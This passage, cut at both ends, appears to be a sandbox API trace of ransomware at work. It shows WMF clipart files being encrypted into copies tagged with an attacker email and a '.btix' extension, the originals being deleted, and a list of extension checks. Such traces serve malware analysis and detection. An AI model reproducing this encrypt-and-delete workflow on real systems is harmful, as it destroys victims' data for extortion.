(in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x2d10, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x2d10, lpOverlapped=0x0) returned 1 [0151.563] ReadFile (in: hFile=0x348, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.564] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0151.564] SetEndOfFile (hFile=0x378) returned 1 [0151.564] CloseHandle (hObject=0x378) returned 1 [0151.564] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.564] SetEndOfFile (hFile=0x348) returned 1 [0151.565] CloseHandle (hObject=0x348) returned 1 [0151.565] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0151.565] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf")) returned 1 [0151.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0151.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0151.565] lstrlenW (lpString=".doc") returned 4 [0151.565] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.565] lstrlenW (lpString=".docx") returned 5 [0151.565] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0151.565] lstrlenW (lpString=".pdf") returned 4 [0151.565] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.565] lstrlenW (lpString=".xls") returned 4 [0151.565] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.565] lstrlenW (lpString=".xlsx") returned 5 [0151.565] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0151.566] lstrlenW (lpString=".ppt") returned 4 [0151.566] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0151.566] lstrlenW (lpString=".zip") returned 4 [0151.566] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.566] lstrlenW (lpString=".rar") returned 4 [0151.566] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.566] lstrlenW (lpString=".bz2") returned 4 [0151.566] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.566] lstrlenW (lpString=".7z") returned 3 [0151.566] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0151.566] lstrlenW (lpString=".dbf") returned 4 [0151.566] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0151.566] lstrlenW (lpString=".1cd") returned 4 [0151.566] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0151.566] lstrlenW (lpString=".jpg") returned 4 [0151.566] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0151.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0151.566] lstrlenW (lpString=".doc") returned 4 [0151.566] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.566] lstrlenW (lpString=".docx") returned 5 [0151.566] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0151.566] lstrlenW (lpString=".pdf") returned 4 [0151.566] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.566] lstrlenW (lpString=".xls") returned 4 [0151.566] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.567] lstrlenW (lpString=".xlsx") returned 5 [0151.567] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0151.567] lstrlenW (lpString=".ppt") returned 4 [0151.567] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0151.567] lstrlenW (lpString=".zip") returned 4 [0151.567] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.567] lstrlenW (lpString=".rar") returned 4 [0151.567] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.567] lstrlenW (lpString=".bz2") returned 4 [0151.567] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.567] lstrlenW (lpString=".7z") returned 3 [0151.567] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0151.567] lstrlenW (lpString=".dbf") returned 4 [0151.567] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0151.567] lstrlenW (lpString=".1cd") returned 4 [0151.567] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0151.567] lstrlenW (lpString=".jpg") returned 4 [0151.567] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.567] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0151.567] lstrlenW (lpString="J0105244.WMF") returned 12 [0151.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0151.568] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=11228) returned 1 [0151.568] CloseHandle (hObject=0x348) returned 1 [0151.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf")) returned 0x220 [0151.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0151.568] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.568] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0151.568] GetLastError () returned 0x0 [0151.568] ReadFile (in: hFile=0x348, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x2bdc, lpOverlapped=0x0) returned 1 [0151.570] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x2be0, lpOverlapped=0x0) returned 1 [0151.571] ReadFile (in: hFile=0x348, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.571] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0151.571] SetEndOfFile (hFile=0x378) returned 1 [0151.571] CloseHandle (hObject=0x378) returned 1 [0151.571] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.571] SetEndOfFile (hFile=0x348) returned 1 [0151.572] CloseHandle (hObject=0x348) returned 1 [0151.572] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0151.572] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf")) returned 1 [0151.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0151.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0151.572] lstrlenW (lpString=".doc") returned 4 [0151.572] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.572] lstrlenW (lpString=".docx") returned 5 [0151.572] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0151.572] lstrlenW (lpString=".pdf") returned 4 [0151.572] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.573] lstrlenW (lpString=".xls") returned 4 [0151.573] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.573] lstrlenW (lpString=".xlsx") returned 5 [0151.573] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0151.573] lstrlenW (lpString=".ppt") returned 4 [0151.573] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0151.573] lstrlenW (lpString=".zip") returned 4 [0151.573] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.573] lstrlenW (lpString=".rar") returned 4 [0151.573] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.573] lstrlenW (lpString=".bz2") returned 4 [0151.573] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.573] lstrlenW (lpString=".7z") returned 3 [0151.573] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0151.573] lstrlenW (lpString=".dbf") returned 4 [0151.573] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0151.573] lstrlenW (lpString=".1cd") returned 4 [0151.573] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0151.573] lstrlenW (lpString=".jpg") returned 4 [0151.573] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0151.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0151.573] lstrlenW (lpString=".doc") returned 4 [0151.573] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.574] lstrlenW (lpString=".docx") returned 5 [0151.574] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0151.574] lstrlenW (lpString=".pdf") returned 4 [0151.574] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.574] lstrlenW (lpString=".xls") returned 4 [0151.574] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.574] lstrlenW (lpString=".xlsx") returned 5 [0151.574] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0151.574] lstrlenW (lpString=".ppt") returned 4 [0151.574] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0151.574] lstrlenW (lpString=".zip") returned 4 [0151.574] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.574] lstrlenW (lpString=".rar") returned 4 [0151.574] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.574] lstrlenW (lpString=".bz2") returned 4 [0151.574] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.574] lstrlenW (lpString=".7z") returned 3 [0151.574] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0151.574] lstrlenW (lpString=".dbf") returned 4 [0151.574] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0151.574] lstrlenW (lpString=".1cd") returned 4 [0151.574] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0151.574] lstrlenW (lpString=".jpg") returned 4 [0151.574] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.575] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0151.575] lstrlenW (lpString="J0105246.WMF") returned 12 [0151.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0151.575] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=19328) returned 1 [0151.575] CloseHandle (hObject=0x348) returned 1 [0151.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf")) returned 0x220 [0151.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0151.575] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.575] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0151.576] GetLastError () returned 0x0 [0151.576] ReadFile (in: hFile=0x348, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x4b80, lpOverlapped=0x0) returned 1 [0151.577] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x4b90, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x4b90, lpOverlapped=0x0) returned 1 [0151.578] ReadFile (in: hFile=0x348, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.578] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0151.578] SetEndOfFile (hFile=0x378) returned 1 [0151.578] CloseHandle (hObject=0x378) returned 1 [0151.579] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.579] SetEndOfFile (hFile=0x348) returned 1 [0151.582] CloseHandle (hObject=0x348) returned 1 [0151.582] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0151.582] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf")) returned 1 [0151.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0151.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0151.583] lstrlenW (lpString=".doc") returned 4 [0151.583] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.583] lstrlenW (lpString=".docx") returned 5 [0151.583] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0151.583] lstrlenW (lpString=".pdf") returned 4 [0151.583] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.583] lstrlenW (lpString=".xls") returned 4 [0151.583] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.583] lstrlenW (lpString=".xlsx") returned 5 [0151.583] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0151.583] lstrlenW (lpString=".ppt") returned 4 [0151.583] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0151.583] lstrlenW (lpString=".zip") returned 4 [0151.583] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.583] lstrlenW (lpString=".rar") returned 4 [0151.583] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.583] lstrlenW (lpString=".bz2") returned 4 [0151.583] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.583] lstrlenW (lpString=".7z") returned 3 [0151.583] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0151.583] lstrlenW (lpString=".dbf") returned 4 [0151.583] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0151.583] lstrlenW (lpString=".1cd") returned 4 [0151.583] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0151.584] lstrlenW (lpString=".jpg") returned 4 [0151.584] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0151.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0151.584] lstrlenW (lpString=".doc") returned 4 [0151.584] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.584] lstrlenW (lpString=".docx") returned 5 [0151.584] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0151.584] lstrlenW (lpString=".pdf") returned 4 [0151.584] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.584] lstrlenW (lpString=".xls") returned 4 [0151.584] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.584] lstrlenW (lpString=".xlsx") returned 5 [0151.584] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0151.584] lstrlenW (lpString=".ppt") returned 4 [0151.584] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0151.584] lstrlenW (lpString=".zip") returned 4 [0151.584] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.584] lstrlenW (lpString=".rar") returned 4 [0151.584] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.584] lstrlenW (lpString=".bz2") returned 4 [0151.584] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.584] lstrlenW (lpString=".7z") returned 3 [0151.584] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0151.584] lstrlenW (lpString=".dbf") returned 4 [0151.585] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0151.585] lstrlenW (lpString=".1cd") returned 4 [0151.585] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0151.585] lstrlenW (lpString=".jpg") returned 4 [0151.585] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.585] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0151.585] lstrlenW (lpString="J0105250.WMF") returned 12 [0151.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0151.585] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=4628) returned 1 [0151.585] CloseHandle (hObject=0x348) returned 1 [0151.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf")) returned 0x220 [0151.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0151.586] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.586] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0151.586] GetLastError () returned 0x0 [0151.586] ReadFile (in: hFile=0x348, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x1214, lpOverlapped=0x0) returned 1 [0151.587] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x1220, lpOverlapped=0x0) returned 1 [0151.588] ReadFile (in: hFile=0x348, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.588] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, 